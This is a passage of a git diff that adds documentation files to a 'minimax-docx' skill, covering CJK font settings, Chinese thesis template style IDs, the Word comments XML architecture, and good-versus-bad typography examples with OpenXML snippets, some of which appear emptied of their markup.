at 11pt (same size — CJK looks slightly larger but acceptable) +- If precise visual match needed, CJK can be set 0.5–1pt smaller +- In practice, same point size is standard — don't over-optimize + +### Bold and Italic + +- **Chinese/Japanese have no true italic.** Word synthesizes a slant which looks poor +- Use **bold** for emphasis in CJK text +- Use 着重号 (emphasis dots) for traditional emphasis: `` on RunProperties + +--- + +## OpenXML Quick Reference + +### Set EastAsia Font (C#) + +```csharp +new Run( + new RunProperties( + new RunFonts { EastAsia = "SimSun", Ascii = "Calibri", HighAnsi = "Calibri" }, + new FontSize { Val = "32" } // 三号 = 16pt = sz 32 + ), + new Text("这是正文内容") +); +``` + +### Document Defaults (C#) + +```csharp +new DocDefaults(new RunPropertiesDefault(new RunPropertiesBaseStyle( + new RunFonts { + Ascii = "Calibri", HighAnsi = "Calibri", + EastAsia = "Microsoft YaHei" + }, + new Languages { Val = "en-US", EastAsia = "zh-CN" } +))); +``` + +### 公文 Style Definitions (C#) + +```csharp +// Title style — 小标宋 二号 centered +new Style( + new StyleName { Val = "GongWen Title" }, + new BasedOn { Val = "Normal" }, + new StyleRunProperties( + new RunFonts { EastAsia = "FZXiaoBiaoSong-B05S" }, + new FontSize { Val = "44" }, // 二号 = 22pt + new Bold() + ), + new StyleParagraphProperties( + new Justification { Val = JustificationValues.Center }, + new SpacingBetweenLines { Line = "560", LineRule = LineSpacingRuleValues.Exact } + ) +) { Type = StyleValues.Paragraph, StyleId = "GongWenTitle" }; + +// Body style — 仿宋_GB2312 三号 +new Style( + new StyleName { Val = "GongWen Body" }, + new StyleRunProperties( + new RunFonts { EastAsia = "FangSong_GB2312", Ascii = "FangSong_GB2312" }, + new FontSize { Val = "32" } // 三号 = 16pt + ), + new StyleParagraphProperties( + new SpacingBetweenLines { Line = "560", LineRule = LineSpacingRuleValues.Exact } + ) +) { Type = StyleValues.Paragraph, StyleId = "GongWenBody" }; +``` + +### Emphasis Dots (着重号) + +```csharp +new RunProperties(new Emphasis { Val = EmphasisMarkValues.Dot }); +``` + +### East Asian Text Layout + +```xml + + + + + + + + +``` diff --git a/skills/minimax-docx/references/cjk_university_template_guide.md b/skills/minimax-docx/references/cjk_university_template_guide.md new file mode 100644 index 0000000..da4cfb0 --- /dev/null +++ b/skills/minimax-docx/references/cjk_university_template_guide.md @@ -0,0 +1,184 @@ +# Chinese University Thesis Template Guide (中国高校论文模板指南) + +## Why This Guide Exists + +Chinese university thesis templates (.docx) have structural patterns that differ significantly +from Western templates. Agents that assume Western conventions (Heading1/Heading2/Normal) will +fail repeatedly. This guide documents the ACTUAL patterns found in Chinese templates. + +## Common StyleId Patterns + +### Pattern A: Numeric IDs (most common in Chinese Word templates) + +| Style Purpose | styleId | w:name | w:basedOn | +|--------------|---------|--------|-----------| +| Normal body | `a` | "Normal" | — | +| Default paragraph font | `a0` | "Default Paragraph Font" | — | +| Heading 1 (章标题) | `1` | "heading 1" | `a` | +| Heading 2 (节标题) | `2` | "heading 2" | `a` | +| Heading 3 (小节标题) | `3` | "heading 3" | `a` | +| TOC 1 | `11` | "toc 1" | `a` | +| TOC 2 | `21` | "toc 2" | `a` | +| TOC 3 | `31` | "toc 3" | `a` | +| Header | `a3` | "header" | `a` | +| Footer | `a4` | "footer" | `a` | +| Table of Contents heading | `10` | "TOC Heading" | `1` | + +### Pattern B: English IDs (less common, usually from international templates) +Standard Heading1/Heading2/Heading3/Normal — these follow the Western pattern. + +### Pattern C: Mixed (some Chinese, some English) +Some templates define custom styles with Chinese names: +| Style Purpose | styleId | w:name | +|--------------|---------|--------| +| 论文标题 | `lunwenbiaoti` | "论文标题" | +| 章标题 | `zhangbiaoti` | "章标题" | +| 正文 | `zhengwen` | "正文" | + +### How to Identify Which Pattern + +```bash +# Extract all styleIds from the template +$CLI analyze --input template.docx --styles-only + +# Or manually: +# unzip template.docx word/styles.xml +# Search for w:styleId= in the extracted file +``` + +Look at the first few styleIds. If you see `1`, `2`, `3`, `a`, `a0` → Pattern A. +If you see `Heading1`, `Normal` → Pattern B. + +## Standard Thesis Structure + +Chinese university theses follow a highly standardized structure: + +``` +┌─────────────────────────────────────┐ +│ 封面 (Cover Page) │ ← Usually 1-2 pages +│ - 校名、校徽 │ +│ - 论文题目 (title) │ +│ - 作者、导师、院系、日期 │ +├─────────────────────────────────────┤ +│ 学术诚信承诺书 / 独创性声明 │ ← 1 page +│ (Academic Integrity Declaration) │ +├─────────────────────────────────────┤ +│ 中文摘要 (Chinese Abstract) │ ← 1-2 pages +│ - "摘 要" heading │ +│ - Abstract body │ +│ - "关键词:" line │ +├─────────────────────────────────────┤ +│ 英文摘要 (English Abstract) │ ← 1-2 pages +│ - "ABSTRACT" heading │ +│ - Abstract body │ +│ - "Keywords:" line │ +├─────────────────────────────────────┤ +│ 目录 (Table of Contents) │ ← 1-3 pages +│ - Often inside SDT block │ +│ - Static example entries │ +│ - TOC field code │ +├─────────────────────────────────────┤ +│ 正文 (Body) │ ← Main content +│ 第1章 绪论 │ +│ 1.1 研究背景 │ +│ 1.2 研究目的和意义 │ +│ 第2章 文献综述 │ +│ ... │ +│ 第N章 结论与展望 │ +├─────────────────────────────────────┤ +│ 参考文献 (References) │ ← Styled differently +├─────────────────────────────────────┤ +│ 致谢 (Acknowledgments) │ ← Optional +├─────────────────────────────────────┤ +│ 附录 (Appendices) │ ← Optional +└─────────────────────────────────────┘ +``` + +## Identifying Zone Boundaries in Templates + +Templates contain EXAMPLE content that must be replaced. Here's how to find the zones: + +### Zone A (Front matter) — KEEP from template +- Starts at: paragraph 0 +- Ends at: the paragraph BEFORE the first chapter heading +- Contains: cover, declaration, abstracts, TOC +- How to detect end: search for first paragraph with style `1` (or Heading1) containing "第1章" or "绪论" + +### Zone B (Body content) — REPLACE with user content +- Starts at: first chapter heading ("第1章...") +- Ends at: "参考文献" heading (inclusive) or last body paragraph before acknowledgments +- How to detect: + ```python + for i, el in enumerate(body_elements): + text = get_text(el) + style = get_style(el) + if style in ('1', 'Heading1') and ('第1章' in text or '绪论' in text): + zone_b_start = i + if '参考文献' in text: + zone_b_end = i + ``` + +### Zone C (Back matter) — KEEP from template (or remove) +- Starts after: 参考文献 +- Contains: 致谢, 附录, final sectPr + +## Font Expectations in Chinese Thesis Templates + +| Element | Font | Size (字号) | Size (pt) | w:sz | +|---------|------|------------|-----------|------| +| 论文标题 | 华文中宋 or 黑体 | 二号 or 小二 | 22pt or 18pt | 44 or 36 | +| 章标题 (H1) | 黑体 | 三号 | 16pt | 32 | +| 节标题 (H2) | 黑体 | 四号 | 14pt | 28 | +| 小节标题 (H3) | 黑体 | 小四 | 12pt | 24 | +| 正文 | 宋体 | 小四 | 12pt | 24 | +| 页眉 | 宋体 | 五号 | 10.5pt | 21 | +| 页脚/页码 | 宋体 | 五号 | 10.5pt | 21 | +| 表格内容 | 宋体 | 五号 | 10.5pt | 21 | +| 参考文献条目 | 宋体 | 五号 | 10.5pt | 21 | + +## RunFonts for CJK Body Text + +```xml + +``` + +For headings: +```xml + +``` + +IMPORTANT: When cleaning direct formatting, ALWAYS preserve w:eastAsia. +Removing it causes Chinese text to fall back to the wrong font. + +## Common Mistakes with Chinese Templates + +1. **Searching for `Heading1`** — Chinese templates use `1`, not `Heading1` +2. **Clearing all rFonts** — Must keep eastAsia font declarations +3. **Assuming "第1章" is the first paragraph** — It's typically paragraph 100+ after cover/abstract/TOC +4. **Ignoring SDT blocks in TOC** — The TOC is wrapped in an SDT, not just field codes +5. **Wrong line spacing** — Chinese theses typically use fixed 20pt (line="400") or 22pt (line="440"), not the 28pt used in government documents +6. **Missing section breaks** — Each zone (abstract, TOC, body) usually has its own sectPr for different headers/footers + +## Style Mapping Quick Reference + +When source document uses Western IDs and template uses Chinese numeric IDs: + +```json +{ + "Heading1": "1", + "Heading2": "2", + "Heading3": "3", + "Heading4": "3", + "Normal": "a", + "BodyText": "a", + "ListParagraph": "a", + "Caption": "a", + "TOC1": "11", + "TOC2": "21", + "TOC3": "31" +} +``` + +When source uses Chinese numeric IDs and template uses Western IDs — reverse the mapping. diff --git a/skills/minimax-docx/references/comments_guide.md b/skills/minimax-docx/references/comments_guide.md new file mode 100644 index 0000000..fa12493 --- /dev/null +++ b/skills/minimax-docx/references/comments_guide.md @@ -0,0 +1,191 @@ +# Comments System Guide (4-File Architecture) + +## Overview + +Word comments require coordination across **four XML files** plus references in `document.xml`, `[Content_Types].xml`, and `document.xml.rels`. + +--- + +## The Four Comment Files + +### 1. `word/comments.xml` — Main Comment Content + +Contains the actual comment text: + +```xml + + + + + + + + + + + This needs clarification. + + + + +``` + +Key attributes: `w:id` (unique integer), `w:author`, `w:date` (ISO 8601), `w:initials`. + +### 2. `word/commentsExtended.xml` — W15 Extensions + +Links comments to paragraphs and tracks resolved status: + +```xml + + + + +``` + +- `w15:paraId` — matches the `w14:paraId` of the comment's paragraph in `comments.xml` +- `w15:done` — `"0"` = open, `"1"` = resolved + +### 3. `word/commentsIds.xml` — Persistent ID Mapping + +Provides durable IDs that survive copy/paste across documents: + +```xml + + + + +``` + +- `w16cid:paraId` — same as `w15:paraId` +- `w16cid:durableId` — globally unique identifier (8-digit hex) + +### 4. `word/commentsExtensible.xml` — W16 Extensions + +Modern comment extensions (used in newer Word versions): + +```xml + + + + +``` + +--- + +## Document.xml References + +Comments are anchored in document content using three elements: + +```xml + + + This text has a comment. + + + + + + +``` + +- `w:commentRangeStart` — marks where the commented text begins +- `w:commentRangeEnd` — marks where the commented text ends +- `w:commentReference` — the visible comment marker (superscript number), placed in a run after the range end + +The `w:id` on all three must match the `w:id` in `comments.xml`. + +--- + +## Content Types Registration + +Add to `[Content_Types].xml`: + +```xml + + + + +``` + +--- + +## Relationship Registration + +Add to `word/_rels/document.xml.rels`: + +```xml + + + + +``` + +--- + +## Step-by-Step: Adding a New Comment + +1. **Choose a unique comment ID** (scan existing `w:id` values, use max + 1) +2. **Generate a paraId** (8-character hex, e.g., `"1A2B3C4D"`) and durableId (8-digit hex) +3. **Add to `comments.xml`**: Create `w:comment` element with content +4. **Add to `commentsExtended.xml`**: Create `w15:commentEx` with `paraId`, `done="0"` +5. **Add to `commentsIds.xml`**: Create `w16cid:commentId` with `paraId` and `durableId` +6. **Add to `commentsExtensible.xml`**: Create `w16cex:commentExtensible` with `durableId` and `dateUtc` +7. **Add to `document.xml`**: Insert `w:commentRangeStart`, `w:commentRangeEnd`, and `w:commentReference` around target text +8. **Verify `[Content_Types].xml`** and `document.xml.rels` have entries for all 4 files + +--- + +## Step-by-Step: Adding a Reply + +Replies are comments whose paragraph's `w14:paraId` links to a parent comment: + +1. Create a new `w:comment` in `comments.xml` with a new `w:id` +2. In `commentsExtended.xml`, add `w15:commentEx` with: + - `w15:paraId` = new paragraph ID + - `w15:paraIdParent` = the `paraId` of the comment being replied to + - `w15:done="0"` +3. Add entries in `commentsIds.xml` and `commentsExtensible.xml` +4. In `document.xml`, the reply does NOT need its own range markers — it shares the parent's range + +```xml + + +``` + +--- + +## Step-by-Step: Resolving a Comment + +Set `w15:done="1"` on the comment's `w15:commentEx` entry: + +```xml + + + + + +``` + +This marks the comment (and all its replies) as resolved. The comment remains visible but appears grayed out in Word. + +--- + +## Minimum Viable Comment + +At minimum, a working comment requires: +1. `comments.xml` with the `w:comment` element +2. `document.xml` with range markers and reference +3. Relationship in `document.xml.rels` +4. Content type in `[Content_Types].xml` + +The extended files (`commentsExtended`, `commentsIds`, `commentsExtensible`) are optional but recommended for full compatibility with modern Word. diff --git a/skills/minimax-docx/references/design_good_bad_examples.md b/skills/minimax-docx/references/design_good_bad_examples.md new file mode 100644 index 0000000..82b7c50 --- /dev/null +++ b/skills/minimax-docx/references/design_good_bad_examples.md @@ -0,0 +1,829 @@ +# GOOD vs BAD Document Design — Concrete OpenXML Examples + +A side-by-side reference showing common design mistakes and their fixes, with exact OpenXML parameter values. Use this to develop an intuitive sense of what makes a document look professional versus amateur. + +Format: Each comparison shows the **BAD** version first (the mistake), then the **GOOD** version (the fix), with OpenXML markup and a short explanation. + +--- + +## 1. Font Size Disasters + +### 1a. No Hierarchy — Everything the Same Size + +**BAD: Body=12pt, H1=12pt bold** +``` +┌──────────────────────────────────┐ +│ INTRODUCTION │ ← 12pt bold... same visual weight +│ This is the body text of the │ ← 12pt regular +│ report. It discusses findings │ +│ from the quarterly review. │ +│ METHODOLOGY │ ← Where does the section start? +│ We collected data from three │ +│ sources across the enterprise. │ +└──────────────────────────────────┘ +``` +```xml + + + + +``` + +**GOOD: Modular scale — body=11pt, H3=13pt, H2=16pt, H1=20pt** +``` +┌──────────────────────────────────┐ +│ │ +│ Introduction │ ← 20pt, clearly a title +│ │ +│ This is the body text of the │ ← 11pt, comfortable reading size +│ report. It discusses findings │ +│ from the quarterly review. │ +│ │ +│ Methodology │ ← 20pt, section break is obvious +│ │ +│ We collected data from three │ +│ sources across the enterprise. │ +└──────────────────────────────────┘ +``` +```xml + + + + + + + + +``` +**Why better:** A clear size progression (ratio ~1.25x per step) lets readers instantly identify structure without reading a word. + +--- + +### 1b. Too Much Contrast — Children's Book Look + +**BAD: H1=28pt with body=10pt (ratio 2.8x)** +``` +┌──────────────────────────────────┐ +│ │ +│ QUARTERLY REPORT │ ← 28pt, dominates the page +│ │ +│ This is body text set very small │ ← 10pt, straining to read +│ and the contrast with the title │ +│ makes it feel like a poster. │ +└──────────────────────────────────┘ +``` +```xml + + +``` + +**GOOD: H1=20pt with body=11pt (ratio ~1.8x)** +```xml + + +``` +**Why better:** A heading-to-body ratio between 1.5x and 2.0x reads as "structured" rather than "shouting." + +--- + +## 2. Spacing Crimes + +### 2a. Wall of Text — No Paragraph or Line Spacing + +**BAD: Single line spacing, 0pt between paragraphs** +``` +┌──────────────────────────────────┐ +│The findings indicate a strong │ +│correlation between training hours│ +│and performance metrics. │ +│Further analysis revealed that │ ← No gap — where does the new +│departments with higher budgets │ paragraph start? +│achieved better outcomes in all │ +│measured categories. │ +└──────────────────────────────────┘ +``` +```xml + + + + +``` + +**GOOD: 1.15x line spacing, 8pt after each paragraph** +``` +┌──────────────────────────────────┐ +│The findings indicate a strong │ +│correlation between training │ ← Slightly more air between lines +│hours and performance metrics. │ +│ │ ← 8pt gap signals new paragraph +│Further analysis revealed that │ +│departments with higher budgets │ +│achieved better outcomes in all │ +│measured categories. │ +└──────────────────────────────────┘ +``` +```xml + + + + +``` +**Why better:** Line spacing gives each line room to breathe; paragraph spacing separates ideas without wasting a full blank line. + +--- + +### 2b. Floating Headings — Same Space Above and Below + +**BAD: 12pt before and 12pt after heading** +``` +┌──────────────────────────────────┐ +│ ...end of previous section. │ +│ │ ← 12pt gap +│ Section Two │ ← Heading floats in the middle +│ │ ← 12pt gap +│ Start of section two content. │ +└──────────────────────────────────┘ +``` +```xml + + + +``` + +**GOOD: 24pt before, 8pt after heading** +``` +┌──────────────────────────────────┐ +│ ...end of previous section. │ +│ │ +│ │ ← 24pt gap — clear section break +│ Section Two │ ← Heading is close to its content +│ │ ← 8pt gap +│ Start of section two content. │ +└──────────────────────────────────┘ +``` +```xml + + + +``` +**Why better:** Proximity principle: a heading belongs to the text that follows it, so more space above and less space below anchors it to its content. + +--- + +### 2c. Wasteful Gaps — Huge Spacing Everywhere + +**BAD: 24pt after every paragraph, including body text** +``` +┌──────────────────────────────────┐ +│ First paragraph of text here. │ +│ │ +│ │ ← 24pt gap after every paragraph +│ │ +│ Second paragraph of text here. │ +│ │ +│ │ +│ │ +│ Third paragraph. │ ← Document looks mostly white space +└──────────────────────────────────┘ +``` +```xml + +``` + +**GOOD: Proportional spacing — body=8pt, H2=6pt after, H1=10pt after** +```xml + + + + + + +``` +**Why better:** Spacing should vary by element role, creating a visual rhythm rather than uniform gaps. + +--- + +## 3. Margin Mistakes + +### 3a. Cramped Margins — Text Running to the Edge + +**BAD: 0.5in margins all around** +``` +┌────────────────────────────────────────────────┐ +│Text starts almost at the paper edge and runs │ +│all the way across making extremely long lines │ +│that are hard to track from end back to start. │ +│The eye loses its place on every line return. │ +└────────────────────────────────────────────────┘ +``` +```xml + + +``` + +**GOOD: 1in margins (standard)** +```xml + + +``` +**Why better:** Optimal line length is 60-75 characters. At 11pt Calibri, 6.5in width achieves roughly 70 characters per line. + +--- + +### 3b. Over-Padded Margins — Looks Like the Content is Hiding + +**BAD: 2in margins on a short document** +```xml + + +``` + +**GOOD: 1in standard, or 1.25in for formal documents** +```xml + + + + + +``` +**Why better:** Margins should frame the content, not overwhelm it. 1-1.25in works for virtually all business and academic documents. + +--- + +## 4. Table Ugliness + +### 4a. Prison Grid — Full Borders on Every Cell + +**BAD: Every cell with 1pt borders on all four sides** +``` +┌───────┬───────┬───────┬───────┐ +│ Name │ Dept │ Score │ Grade │ +├───────┼───────┼───────┼───────┤ +│ Alice │ Eng │ 92 │ A │ +├───────┼───────┼───────┼───────┤ +│ Bob │ Sales │ 85 │ B │ +├───────┼───────┼───────┼───────┤ +│ Carol │ Eng │ 78 │ C+ │ +└───────┴───────┴───────┴───────┘ +``` +```xml + + + + + + +``` + +**GOOD: Three-line table (三线表) — top thick, header-bottom medium, table-bottom thick** +``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ← 1.5pt top border + Name Dept Score Grade +────────────────────────────────── ← 0.75pt header separator + Alice Eng 92 A + Bob Sales 85 B + Carol Eng 78 C+ +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ← 1.5pt bottom border +``` +```xml + + + + + + + + + + + +``` +**Why better:** Removing inner borders lets the eye scan data freely. Three lines provide structure without visual clutter. + +--- + +### 4b. Text Touching Borders — No Cell Padding + +**BAD: Zero cell margins** +``` +┌──────────┬──────────┐ +│Name │Department│ ← Text cramped against borders +├──────────┼──────────┤ +│Alice │Engineering│ +└──────────┴──────────┘ +``` +```xml + + + + + + +``` + +**GOOD: 0.08in vertical, 0.12in horizontal padding** +```xml + + + + + + +``` +**Why better:** Padding gives text breathing room inside cells, making every value easier to read. + +--- + +### 4c. Invisible Headers — Header Row Same Style as Data + +**BAD: Header row indistinguishable from data** +```xml + + +``` + +**GOOD: Bold header text, subtle background fill, bottom border** +```xml + + + + + + + + + + + + + +``` +**Why better:** Distinct header styling lets readers instantly locate column meanings, especially in long tables that span pages. The `w:tblHeader` element ensures the header row repeats on every page. + +--- + +## 5. Font Pairing Failures + +### 5a. Visual Chaos — Too Many Fonts + +**BAD: 4+ fonts in one document** +```xml + + + + + + + + +``` + +**GOOD: One font family with weight variation, or two complementary families** +```xml + + + + + + + + +``` +**Why better:** Limiting to one or two font families creates visual coherence. Vary by size and weight, not by font. + +--- + +### 5b. Mismatched Personality — Comic Sans Meets Times New Roman + +**BAD:** +```xml + + +``` + +**GOOD: Fonts with compatible character** +```xml + + +``` +**Why better:** Paired fonts should share a similar level of formality and geometric character. Comic Sans is playful/informal; Times New Roman is formal/traditional. They clash. + +--- + +### 5c. Everything Bold — Nothing Stands Out + +**BAD: Bold on body, headings, captions, everything** +```xml + + + +``` + +**GOOD: Bold reserved for headings and key terms only** +```xml + + + + + +``` +**Why better:** When everything is emphasized, nothing is emphasized. Bold should be a signal, not a default. + +--- + +## 6. Color Abuse + +### 6a. Rainbow Headings + +**BAD: Each heading level a different bright color** +```xml + + + +``` + +**GOOD: Single accent color for headings, black or dark gray for body** +```xml + + + + + + +``` +**Why better:** A single accent color establishes brand consistency. Multiple bright colors compete for attention and look unprofessional. + +--- + +### 6b. Low Contrast — Light Gray on White + +**BAD: #CCCCCC text on white background** +```xml + + +``` + +**GOOD: #333333 text on white** +```xml + + +``` +**Why better:** Sufficient contrast is not just an accessibility requirement; it makes text physically easier to read for everyone, especially in printed documents. + +--- + +### 6c. Bright Body Text + +**BAD: Body text in a saturated color** +```xml + +``` + +**GOOD: Color reserved for headings and inline accents only** +```xml + + + + +``` +**Why better:** Colored body text causes eye fatigue over long reading. Reserve color for elements that need to attract attention (headings, links, warnings). + +--- + +## 7. List Formatting Issues + +### 7a. Bullet at the Margin — No Indent + +**BAD: List items start at the left margin** +``` +┌──────────────────────────────────┐ +│Here is a paragraph of text. │ +│• First item │ ← Bullet at margin, no indent +│• Second item │ +│• Third item │ +│Next paragraph continues here. │ +└──────────────────────────────────┘ +``` +```xml + + + +``` + +**GOOD: 0.25in left indent with hanging indent for the bullet** +``` +┌──────────────────────────────────┐ +│Here is a paragraph of text. │ +│ • First item │ ← Indented, clearly a list +│ • Second item │ +│ • Third item │ +│Next paragraph continues here. │ +└──────────────────────────────────┘ +``` +```xml + + + + + + + +``` +For nested lists, increment by 360 twips per level: +```xml + + + + +``` +**Why better:** Indentation visually separates lists from body text and makes nesting levels clear. + +--- + +### 7b. List Items with Full Paragraph Spacing + +**BAD: List items have the same 8-10pt spacing as body paragraphs** +``` +┌──────────────────────────────────┐ +│ • First item │ +│ │ ← 10pt gap — looks like separate +│ • Second item │ paragraphs, not a list +│ │ +│ • Third item │ +└──────────────────────────────────┘ +``` +```xml + +``` + +**GOOD: Tight spacing between list items (2-4pt)** +``` +┌──────────────────────────────────┐ +│ • First item │ +│ • Second item │ ← 2pt gap — cohesive list +│ • Third item │ +└──────────────────────────────────┘ +``` +```xml + + + +``` +**Why better:** Tight spacing groups list items as a single unit, matching how readers expect a list to behave. + +--- + +## 8. Header/Footer Problems + +### 8a. Header Text Too Large — Competes with Body + +**BAD: Header in 12pt, same as body** +``` +┌──────────────────────────────────┐ +│ Quarterly Report - Q3 2025 │ ← 12pt header, same as body +│──────────────────────────────────│ +│ Introduction │ +│ This is the body text... │ ← 12pt body — header distracts +└──────────────────────────────────┘ +``` +```xml + + +``` + +**GOOD: Header in 9pt, gray color, subtle** +``` +┌──────────────────────────────────┐ +│ Quarterly Report - Q3 2025 │ ← 9pt, gray — present but quiet +│──────────────────────────────────│ +│ Introduction │ +│ This is the body text... │ ← Body stands out as primary +└──────────────────────────────────┘ +``` +```xml + + + + + + + + + + +``` +**Why better:** Headers are reference information, not primary content. They should be legible but visually subordinate. + +--- + +### 8b. No Page Numbers on a Long Document + +**BAD: 20-page document with no page numbers** +```xml + +``` + +**GOOD: Page numbers in footer, right-aligned or centered** +```xml + + + + + + + + + + + + PAGE + + + + + + 1 + + + + + +``` +**Why better:** Page numbers are essential for navigation in any document over ~3 pages. Readers need to reference specific pages, and printed documents need an ordering mechanism. + +--- + +## 9. CJK-Specific Mistakes + +### 9a. Using Italic for Chinese Emphasis + +**BAD: Italic applied to Chinese text** +```xml + + + + + +``` +CJK glyphs have no true italic form. The renderer applies a synthetic slant that looks broken and ugly — characters appear to lean awkwardly. + +**GOOD: Use bold or emphasis dots (着重号) for Chinese emphasis** +```xml + + + + + + + + + + + + + +``` +**Why better:** Chinese typography has its own emphasis traditions. Bold and emphasis dots are native CJK conventions; italic is a Latin-script concept that does not translate. + +--- + +### 9b. Latin Font for Chinese Characters + +**BAD: Only ASCII font set, no EastAsia font specified** +```xml + + + + + +``` + +**GOOD: Explicit EastAsia font alongside ASCII font** +```xml + + + + +``` +For formal/academic Chinese documents: +```xml + + + + +``` +**Why better:** Setting `w:eastAsia` ensures Chinese characters render in a font designed for CJK glyphs, with correct stroke widths, spacing, and metrics. + +--- + +### 9c. English Line Spacing for Dense CJK Text + +**BAD: 1.15x line spacing for Chinese body text** +```xml + +``` +CJK characters are taller and denser than Latin letters. At 1.15x, lines of Chinese text feel cramped and hard to read. + +**GOOD: 1.5x line spacing or fixed 28pt for CJK body at 12pt (小四)** +```xml + + + + + +``` +For 公文 (government documents) at 三号/16pt body: +```xml + +``` +**Why better:** CJK characters occupy a full em square with no ascenders/descenders providing natural gaps. Extra line spacing compensates, improving readability of dense text blocks. + +--- + +## 10. Overall Document Feel + +### Student Homework vs Professional Document + +**BAD: "Student homework" — every setting is Word's default, no intentional choices** +```xml + + + + + + + + +``` + +**GOOD: Intentional design at every level** +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` +**Why better:** Professional documents result from deliberate, consistent choices across all design dimensions. Each element reinforces the same visual language. The reader may not consciously notice good typography, but they feel the difference in credibility and readability. + +--- + +## Quick Reference: Safe Defaults + +A cheat sheet of values that produce a professional result for most Western business documents: + +| Element | Value | OpenXML | +|---------|-------|---------| +| Body font | Calibri 11pt | `w:sz="22"` | +| H1 | Calibri Light 20pt | `w:sz="40"` | +| H2 | Calibri Light 16pt | `w:sz="32"` | +| H3 | Calibri 13pt bold | `w:sz="26"`, `w:b` | +| Body color | #333333 | `w:color="333333"` | +| Heading color | #1F4E79 | `w:color="1F4E79"` | +| Line spacing | 1.15x | `w:line="276" w:lineRule="auto"` | +| Para spacing after | 8pt | `w:after="160"` | +| H1 spacing | 24pt before, 10pt after | `w:before="480" w:after="200"` | +| H2 spacing | 16pt before, 6pt after | `w:before="320" w:after="120"` | +| Margins | 1in all around | `w:pgMar` all `"1440"` | +| Table cell padding | 0.08in / 0.12in | `w:w="115"` / `w:w="173"` | +| Header/footer size | 9pt gray | `w:sz="18" w:color="808080"` | +| List indent | 0.25in per level | `w:left="360" w:hanging="360"` | +| List item spacing | 2pt after | `w:after="40"` | + +For CJK documents, adjust: body font to SimSun/YaHei, line spacing to 1.5x (`w:line="360"`), and set `w:eastAsia` on all `w:rFonts`. diff --git a/skills/minimax-docx/references/design_principles.md b/skills/minimax-docx/references/design_principles.md new file mode 100644 index 0000000..6d81dd3 --- /dev/null +++ b/skills/minimax-docx/references/design_principles.md @@ -0,0 +1,819 @@ +# Design Principles for Document Typography + +WHY certain typographic choices look good -- the perceptual and psychological +reasons behind professional document design. Use this to make judgment calls +when exact specs are not provided. + +## Table of Contents + +1. [White Space & Breathing Room](#1-white-space--breathing-room) +2. [Contrast & Scale](#2-contrast--scale) +3. [Proximity & Grouping](#3-proximity--grouping) +4. [Alignment & Grid](#4-alignment--grid) +5. [Repetition & Consistency](#5-repetition--consistency) +6. [Visual Hierarchy & Flow](#6-visual-hierarchy--flow) + +--- + +## 1. White Space & Breathing Room + +### Why It Works + +The human eye does not read continuously. It jumps in saccades, fixating on +small clusters of words. White space provides landing zones for these fixations +and gives the reader's peripheral vision a "frame" that makes each text block +feel manageable. When a page is packed to the edges, every glance returns more +text than working memory can buffer, triggering fatigue and avoidance. + +Research on content density consistently shows: + +- **60-70% content coverage** feels comfortable and professional. +- **80%+** starts to feel dense and bureaucratic. +- **90%+** feels oppressive -- the reader unconsciously rushes or skips. +- **Below 50%** feels wasteful or pretentious (unless intentional, like poetry). + +Wider margins also carry cultural signals. Academic and luxury documents use +generous margins (1.25-1.5 inches). Internal memos and drafts use narrower +margins (0.75-1.0 inches). The margin width tells the reader how much care +went into the document before they read a single word. + +Line spacing has a direct physiological basis: the eye must track back to the +start of the next line after each line break. If lines are too close, the eye +"slips" to the wrong line. If too far apart, the eye loses its sense of +continuity. The sweet spot is 120-145% of the font size. + +**Rule of thumb: when in doubt, add more space, not less.** + +### Good Example + +``` +Margins: 1 inch (1440 twips) all sides for business documents. +Line spacing: 1.15 (276 twips at 240 twips-per-line = 115%). +Paragraph spacing after: 8pt (160 twips) between body paragraphs. +``` + +```xml + + + + + + + +``` + +This produces a page where content occupies roughly 65% of the area. The +reader sees clear top/bottom breathing room, and paragraphs are distinct +without feeling disconnected. + +``` + Page layout (good): + +----------------------------------+ + | 1" margin | + | +------------------------+ | + | | Heading | | + | | | | + | | Body text here with | | + | | comfortable spacing | | + | | between lines. | | + | | | | <- visible gap between paragraphs + | | Another paragraph of | | + | | body text follows. | | + | | | | + | +------------------------+ | + | 1" margin | + +----------------------------------+ +``` + +### Bad Example + +```xml + + + + + + + +``` + +This fills ~85% of the page. Text runs edge-to-edge with no visual rest stops. +The reader sees a wall of text. + +``` + Page layout (bad): + +----------------------------------+ + | Heading | + | Body text crammed right up to | + | the margins with no spacing | + | between lines or paragraphs. | + | Another paragraph starts here | + | and the reader cannot tell where | + | one idea ends and another begins | + | because everything blurs into a | + | single dense block of text. | + +----------------------------------+ +``` + +### Quick Test + +1. Zoom out to 50% in your document viewer. If you cannot see clear "channels" + of white between text blocks, the spacing is too tight. +2. Print a test page. Hold it at arm's length. The text area should look like + a rectangle floating in white, not filling the page. +3. Check: is the line spacing value at least 264 (`w:line` for 1.1x) for body + text? If it is 240 (single), it is too tight for anything over 10pt. + +--- + +## 2. Contrast & Scale + +### Why It Works + +The brain processes visual hierarchy through relative difference, not absolute +size. A 20pt heading above 11pt body text creates a clear "this is important" +signal. But if every heading is 20pt and every sub-heading is 19pt, the brain +cannot distinguish them -- they merge into the same level. + +The key insight is **modular scale**: font sizes that grow by a consistent +ratio. This mirrors natural proportions and feels harmonious for the same +reason musical intervals do. + +Common scales and their character: + +| Ratio | Name | Character | Example progression (from 11pt) | +|-------|----------------|---------------------------------|---------------------------------| +| 1.200 | Minor third | Subtle, refined | 11 → 13.2 → 15.8 → 19.0 | +| 1.250 | Major third | Balanced, professional | 11 → 13.75 → 17.2 → 21.5 | +| 1.333 | Perfect fourth | Strong, authoritative | 11 → 14.7 → 19.5 → 26.0 | +| 1.414 | Augmented 4th | Dramatic, presentation-style | 11 → 15.6 → 22.0 → 31.1 | + +For most business documents, 1.25 (major third) works best: + +``` +Body = 11pt (w:sz="22") +H3 = 13pt (w:sz="26") -- 11 * 1.25 ≈ 13.75, round to 13 +H2 = 16pt (w:sz="32") -- 13 * 1.25 ≈ 16.25, round to 16 +H1 = 20pt (w:sz="40") -- 16 * 1.25 = 20 +``` + +Beyond size, **weight contrast** creates hierarchy without consuming vertical +space. Regular (400) vs Bold (700) is visible at any size. Semi-bold (600) vs +Regular is subtle and best avoided unless you also vary size or color. + +**Color contrast** adds a third dimension. Dark blue headings (#1F3864) against +softer dark gray body text (#333333) signals "heading" without needing a huge +size jump. Pure black (#000000) body text is harsher than necessary on white +backgrounds 